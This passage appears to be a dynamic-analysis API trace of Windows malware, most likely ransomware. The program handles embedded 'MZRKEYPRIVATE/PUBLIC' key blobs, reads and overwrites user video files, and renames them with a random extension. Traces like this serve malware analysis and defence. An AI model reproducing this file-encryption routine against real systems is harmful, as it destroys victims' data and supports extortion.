owqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.935] GetCurrentThreadId () returned 0xa30 [0086.935] GetCurrentThreadId () returned 0xa30 [0086.936] GetCurrentThreadId () returned 0xa30 [0086.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.936] GetCurrentThreadId () returned 0xa30 [0086.936] GetCurrentThreadId () returned 0xa30 [0086.936] GetCurrentThreadId () returned 0xa30 [0086.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.937] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.937] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.937] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbb9a [0086.937] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.937] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xbb9a, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xbb9a, lpOverlapped=0x0) returned 1 [0086.939] CloseHandle (hObject=0x11c) returned 1 [0086.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.942] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0bf70*, nNumberOfBytesToWrite=0xbb9a, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0bf70*, lpNumberOfBytesWritten=0x18f6ac*=0xbb9a, lpOverlapped=0x0) returned 1 [0086.945] CloseHandle (hObject=0x11c) returned 1 [0086.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\9RgJ1WGSQCpG4JXhxJ.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\9rgj1wgsqcpg4jxhxj.flv.zv7un")) returned 1 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.949] GetCurrentThreadId () returned 0xa30 [0086.950] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdac8430, ftCreationTime.dwHighDateTime=0x1d5e23f, ftLastAccessTime.dwLowDateTime=0x30bb42a0, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0x30bb42a0, ftLastWriteTime.dwHighDateTime=0x1d5e0ec, nFileSizeHigh=0x0, nFileSizeLow=0x13cf1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="eEGCUjpx7f_iY-vLAlk.mp4", cAlternateFileName="EEGCUJ~1.MP4")) returned 1 [0086.950] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.950] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdac8430, ftCreationTime.dwHighDateTime=0x1d5e23f, ftLastAccessTime.dwLowDateTime=0x30bb42a0, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0x30bb42a0, ftLastWriteTime.dwHighDateTime=0x1d5e0ec, nFileSizeHigh=0x0, nFileSizeLow=0x13cf1)) returned 1 [0086.950] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\eegcujpx7f_iy-vlalk.mp4")) returned 0x20 [0086.950] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\eEGCUjpx7f_iY-vLAlk.mp4", dwFileAttributes=0x80) returned 1 [0086.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKH